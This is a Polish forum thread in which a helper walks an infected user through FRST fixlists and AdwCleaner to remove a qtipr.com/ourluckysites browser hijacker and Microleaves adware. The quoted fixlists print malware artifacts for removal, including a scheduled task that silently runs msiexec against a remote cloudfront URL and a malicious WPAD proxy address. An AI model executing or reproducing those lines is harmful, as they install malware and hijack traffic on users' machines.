jak usunąć qtipr.com

Witam mój komputer złapał jakiegoś trojana qtipr.com proszę o pomoc ... jestem zielony w tych sprawach tu podaje te skany frst

1) Otwórz Notatnik i wklej w nim:

Task: {018AF635-95A0-4C71-B5A7-1C580E423583} - System32\Tasks\Online Application Guardian => C:\Program Files (x86)\Microleaves\Online.io Application\Online-Guardian.exe [2016-08-17] (Microleaves LTD) <==== UWAGA
Task: {20A1CCAB-AA2E-47D8-B672-6F39DF13CBF9} - System32\Tasks\Online Application v2 Guard => C:\Program Files (x86)\Microleaves\Online.io Application\OnlineGuardian-v2.exe [2016-11-22] (Microleaves LTD) <==== UWAGA
Task: {4B456BA7-4D08-4665-999D-E46D37DBF52F} - System32\Tasks\Online Application v209 Guard => C:\Program Files (x86)\Microleaves\Online.io Application\Online-Guardian-v2.0.9.exe [2017-02-07] (Microleaves LTD) <==== UWAGA
Task: {50ADFA4F-EC5C-482B-B85F-6CA7A6D4C29B} - System32\Tasks\Online Application Updater => C:\Program Files (x86)\Microleaves\Online.io Application\Online Application Updater.exe [2017-02-15] (Microleaves) <==== UWAGA
Task: {54077AD7-1670-4677-9616-18459F5C8ED7} - System32\Tasks\Traffic Exchange v2 - 3 => C:\Program Files (x86)\Microleaves\Traffic Exchange\OnlineGuardian-v2.exe [2016-11-22] () <==== UWAGA
Task: {6029363B-B108-491E-8355-A4C2E4BC8927} - System32\Tasks\Online Application => C:\Program Files (x86)\Microleaves\Online.io Application\Online-Guardian.exe [2016-08-17] (Microleaves LTD) <==== UWAGA
Task: {A49AB3B5-2345-4D76-B171-56705AFEF521} - System32\Tasks\Traffic Exchange Guardian => C:\Program Files (x86)\Microleaves\Traffic Exchange\Online-Guardian.exe [2016-08-17] () <==== UWAGA
Task: {AC33E932-90B8-4A0A-8E8B-FA6879B5DB80} - System32\Tasks\Gerlercultstiliied Server => C:\Program Files (x86)\Wabish\xandercult.exe [2017-04-03] (Glarysoft Ltd)
Task: {AFC434A6-C537-4369-9D87-1AC6D6115442} - System32\Tasks\Traffic Exchange v2 - 1 => C:\Program Files (x86)\Microleaves\Traffic Exchange\OnlineGuardian-v2.exe [2016-11-22] () <==== UWAGA
Task: {B25C8F83-B152-41FA-BECE-CD31A0AB07B9} - System32\Tasks\Online Application Guard => C:\Program Files (x86)\Microleaves\Online.io Application\Online-Guardian.exe [2016-08-17] (Microleaves LTD) <==== UWAGA
Task: {B63305F8-03CD-4BA9-9AB2-656CB77FC628} - System32\Tasks\Online Application v209 Guardian => C:\Program Files (x86)\Microleaves\Online.io Application\Online-Guardian-v2.0.9.exe [2017-02-07] (Microleaves LTD) <==== UWAGA
Task: {B6EE3E6D-EDC1-4486-A9DD-12AB8D4777EA} - System32\Tasks\Traffic Exchange => C:\Program Files (x86)\Microleaves\Traffic Exchange\Online-Guardian.exe [2016-08-17] () <==== UWAGA
Task: {C3929173-AF6A-4A99-9203-E0F462B7D7AF} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-04-10] ()
Task: {C9A937A8-9B23-4726-AFDB-B608C4311653} - System32\Tasks\Online Application v209 => C:\Program Files (x86)\Microleaves\Online.io Application\Online-Guardian-v2.0.9.exe [2017-02-07] (Microleaves LTD) <==== UWAGA
Task: {CFB9A366-21E7-494E-A8FE-CF1B949603D2} - System32\Tasks\Traffic Exchange v209 - 1 => C:\Program Files (x86)\Microleaves\Traffic Exchange\Online-Guardian-v2.0.9.exe [2017-02-07] () <==== UWAGA
Task: {D002DEDD-0C34-4E24-AFCE-2B47B227262B} - System32\Tasks\Shoketainckigaph => msiexec /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=395049983_1052515_4C5E4F6A&amp;d=20170403 /q
Task: {D18AE9C4-FF6B-4201-A6A0-E5F466B7E11F} - System32\Tasks\Traffic Exchange v209 - 3 => C:\Program Files (x86)\Microleaves\Traffic Exchange\Online-Guardian-v2.0.9.exe [2017-02-07] () <==== UWAGA
Task: {DEC28154-028C-45EE-9F0F-070D0C049608} - System32\Tasks\Online Application v2 => C:\Program Files (x86)\Microleaves\Online.io Application\OnlineGuardian-v2.exe [2016-11-22] (Microleaves LTD) <==== UWAGA
Task: {E42FB45D-888C-40D6-B487-AFAC57495BB5} - System32\Tasks\Traffic Exchange Updater => C:\Program Files (x86)\Microleaves\Traffic Exchange\Traffic Exchange Updater.exe [2017-02-15] () <==== UWAGA
Task: {F22EE372-7954-4728-A168-21E802A3ADB1} - System32\Tasks\Online Application v2 Guardian => C:\Program Files (x86)\Microleaves\Online.io Application\OnlineGuardian-v2.exe [2016-11-22] (Microleaves LTD) <==== UWAGA
Task: {F2C9F7F5-7945-4E84-A532-DF4222EF57D9} - System32\Tasks\Traffic Exchange Guard => C:\Program Files (x86)\Microleaves\Traffic Exchange\Online-Guardian.exe [2016-08-17] () <==== UWAGA
Task: {F426DC1D-D65F-4702-8179-8C1A05A77723} - System32\Tasks\Traffic Exchange v2 - 2 => C:\Program Files (x86)\Microleaves\Traffic Exchange\OnlineGuardian-v2.exe [2016-11-22] () <==== UWAGA
Task: {FCC863FD-C1E0-4081-8717-96EE59003A33} - System32\Tasks\Traffic Exchange v209 - 2 => C:\Program Files (x86)\Microleaves\Traffic Exchange\Online-Guardian-v2.0.9.exe [2017-02-07] () <==== UWAGA
Task: {FEB8D706-15BC-4917-9707-4165DB245592} - System32\Tasks\{E16C1C0B-C861-45EE-82FB-290649C1734F} => pcalua.exe -a C:\Users\New\Desktop\ASUSUpdate_V71513\Setup.exe -d C:\Users\New\Desktop\ASUSUpdate_V71513
Task: C:\Windows\Tasks\Online Application Updater.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Online Application v2 Guard.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Online Application v2 Guardian.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Online Application v2.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Online Application v209 Guard.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Online Application v209 Guardian.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Online Application v209.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange Updater.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange v2 - 1.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange v2 - 2.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange v2 - 3.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange v209 - 1.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange v209 - 2.job =>  <==== UWAGA
Task: C:\Windows\Tasks\Traffic Exchange v209 - 3.job =>  <==== UWAGA
WMI_ActiveScriptEventConsumer_ASEC: <===== UWAGA
ShortcutWithArgument: C:\Users\New\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer (64-bit).lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://qtipr.com/
ShortcutWithArgument: C:\Users\New\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://qtipr.com/
ShortcutWithArgument: C:\Users\New\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> "hxxp://web-start.org//?ssid=1477497752&a=1024132&src=sh&uuid=566694f9-bd02-45e4-ac49-7e805efea5f4"
ShortcutWithArgument: C:\Users\New\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://qtipr.com/
ShortcutWithArgument: C:\Users\New\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://qtipr.com/
ShortcutWithArgument: C:\Users\New\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk -> D:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://qtipr.com/
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk -> D:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://qtipr.com/
ShortcutWithArgument: C:\Users\Public\Desktop\Mozilla Firefox.lnk -> D:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://qtipr.com/
HKU\S-1-5-18\...\Run: [] => [X]
HKLM\...\Providers\p6p8yonc: C:\Program Files (x86)\Gerlercultstiliied Server\local64spl.dll [306688 2017-04-03] ()
ShellExecuteHooks: Brak nazwy - {2C97AB4C-1471-11E7-BEC6-64006A5CFC23} - C:\Users\New\AppData\Roaming\Dikerseplenight\Rageried.dll -> Brak pliku
AutoConfigURL: [S-1-5-21-269348825-3932787420-3136110414-1000] => hxxp://nonestops.org/wpad.dat?831a280a1ed35d79e17ca6affb75842c18926201
ManualProxies: 0hxxp://nonestops.org/wpad.dat?831a280a1ed35d79e17ca6affb75842c18926201
SearchScopes: HKU\S-1-5-21-269348825-3932787420-3136110414-1000 -> {B763A38F-4685-435d-B575-D30EB61F9B7D} URL = hxxp://uk.search.yahoo.com/search?p={searchTerms}&fr=chr-devicevm&type=EGMB
R2 WinSAPSvc; C:\Users\New\AppData\Roaming\WinSAPSvc\WinSAP.dll [553984 2017-04-10] (Windows) [Brak podpisu cyfrowego]
R2 SNARER; C:\Users\New\AppData\Local\SNARER\Snarer.dll [792576 2017-04-10] (InterSect Alliance Pty Ltd) [Brak podpisu cyfrowego]
C:\Users\New\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WorldofTanks\WorldofTanks.lnk
RemoveDirectory: C:\Program Files (x86)\Microleaves
RemoveDirectory: C:\Program Files (x86)\MIO
RemoveDirectory: C:\Program Files (x86)\Gerlercultstiliied Server
RemoveDirectory: C:\Users\New\AppData\Roaming\Dikerseplenight
RemoveDirectory: C:\Users\New\AppData\Roaming\WinSAPSvc
RemoveDirectory: C:\Update
RemoveDirectory: C:\Users\New\AppData\Local\SNARER
RemoveDirectory: C:\Program Files\MK
RemoveDirectory: C:\Program Files\p6p8yonc
RemoveDirectory: C:\Windows\SysWOW64\%APPDATA%
RemoveDirectory: C:\Users\New\AppData\Roaming\Microleaves
RemoveDirectory: C:\Users\Default\AppData\Local\AdvinstAnalytics
RemoveDirectory: C:\Users\Default User\AppData\Local\AdvinstAnalytics
RemoveDirectory: C:\Program Files (x86)\Wabish
RemoveDirectory: C:\Users\New\AppData\Local\Gawersy
C:\Users\New\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\WorldofTanks.lnk
C:\Windows\Reimage.ini
C:\Users\New\Downloads\ReimageRepair.exe
HOSTS:
EmptyTemp:

2) Zrób nowe logi FRST.

.

Użytkownik ordynat edytował ten post 10 04 2017 - 22:30

o to nowe logi

teraz jest jakaś inna strona startowa http://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A

1) Otwórz Notatnik i wklej w nim:

RemoveProxy:
EmptyTemp:

2) Użyj >Adw-cleaner
najpierw kliknij na SKANUJ (SCAN), a dopiero po zakończeniu skanowania, gdy uaktywni się przycisk USUŃ (CLEANING), to kliknij na niego.
Pokaż raport z niego "C"

3) Zrób nowe logi FRST.

.

ze stroną startową nadal to samo  nw czy gdzieś to trzeba zmieć czy jak ;/

strona startowa naprawiona ale w razie czego zerknij na te logi czy wszystko oki

1) Otwórz Notatnik i wklej w nim:

Online.io Application (x32 Version: 2.1.0 - Microleaves) Hidden <==== UWAGA

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST.exe
Uruchom FRST i kliknij przycisk Fix (NAPRAW).

2) Spróbuj odinstalować te programy:

Online.io Application (x32 Version: 2.1.0 - Microleaves) Hidden <==== UWAGA

Browser Configuration Utility (HKLM-x32\...\{BA88EE67-8974-459D-A1DB-C8281D9AC6F6}) (Version: 1.0.12.1 - DeviceVM, Inc.) <==== UWAGA

3) Otwórz Notatnik i wklej w nim:

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
HKU\S-1-5-21-269348825-3932787420-3136110414-1000\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
SearchScopes: HKU\S-1-5-21-269348825-3932787420-3136110414-1000 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
SearchScopes: HKU\S-1-5-21-269348825-3932787420-3136110414-1000 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A&q={searchTerms}
SearchScopes: HKU\S-1-5-21-269348825-3932787420-3136110414-1000 -> {8C5C5B6A-8E48-4944-82B3-65EC2EB6840A} URL = hxxp://www.google.com/custom?client=pub-3794288947762788&forid=1&channel=5369970905&ie=UTF-8&oe=UTF-8&safe=active&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A1&hl=pl&q={searchTerms}
StartMenuInternet: IEXPLORE.EXE - C:\Program Files (x86)\Internet Explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
FF Homepage: Mozilla\Firefox\Profiles\sybqsv6f.default-1491409061241 -> hxxp://www.ourluckysites.com/?type=hp&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
FF Extension: (Disable Prefetch) - C:\Users\New\AppData\Roaming\Mozilla\Firefox\Profiles\sybqsv6f.default-1491409061241\features\{16dbb673-836a-440b-94d4-6df4722e601a}\disable-prefetch@mozilla.org.xpi [2017-04-05]
FF SearchPlugin: C:\Users\New\AppData\Roaming\Mozilla\Firefox\Profiles\sybqsv6f.default-1491409061241\searchplugins\ourluckysites.xml [2017-04-11]
StartMenuInternet: FIREFOX.EXE - D:\Program Files (x86)\Mozilla Firefox\firefox.exe hxxp://www.ourluckysites.com/?type=sc&ts=1491933664&z=1b60a176798526398d54d7cg0zctcg3t8cbc9q0q5c&from=che0812&uid=395049983_1052515_4C5E4F6A
C:\Users\New\Desktop\WorldofTanks.lnk
C:\Users\New\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Social Games.lnk

----------------------
Jeśli będzie OK, to będziemy kończyć:
Otwórz Notatnik i wklej w nim:

DeleteQuarantine:

Użytkownik ordynat edytował ten post 12 04 2017 - 06:51

Dobra wszystko zrobione jedynie nie chce się odinstalować ten program online.io bo nie ma palików juz jego chyba , także myślę że  będzie już wszystko oki bardzo dziękuję za pomoc